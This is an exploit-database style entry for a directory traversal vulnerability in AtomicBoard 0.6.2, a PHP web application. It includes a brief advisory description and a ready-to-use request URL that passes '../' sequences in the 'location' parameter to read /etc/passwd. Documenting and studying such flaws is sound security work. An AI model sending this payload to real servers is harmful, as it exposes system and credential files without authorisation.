atomicboard 0.6.2 - Directory Traversal

Author: gr00vy
type: webapps
platform: php
port: 
date_added: 2003-07-21 
date_updated: 2012-11-27 
verified: 1 
codes: OSVDB-49354 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8236/info

It has been reported that attackers may be able to modify the 'location' variable passed to the index.php file to cause the Web server to return arbitrary files. This script is prone to a directory traversal vulnerability, allowing attackers to retrieve any file residing on the filesystem readable by the Web server user.

http://www.example.com/atomicboard/index.php?location=../../../../../../etc/passwd

http://www.example.com/AtomicBoard-0.6.2/index.php?location=anything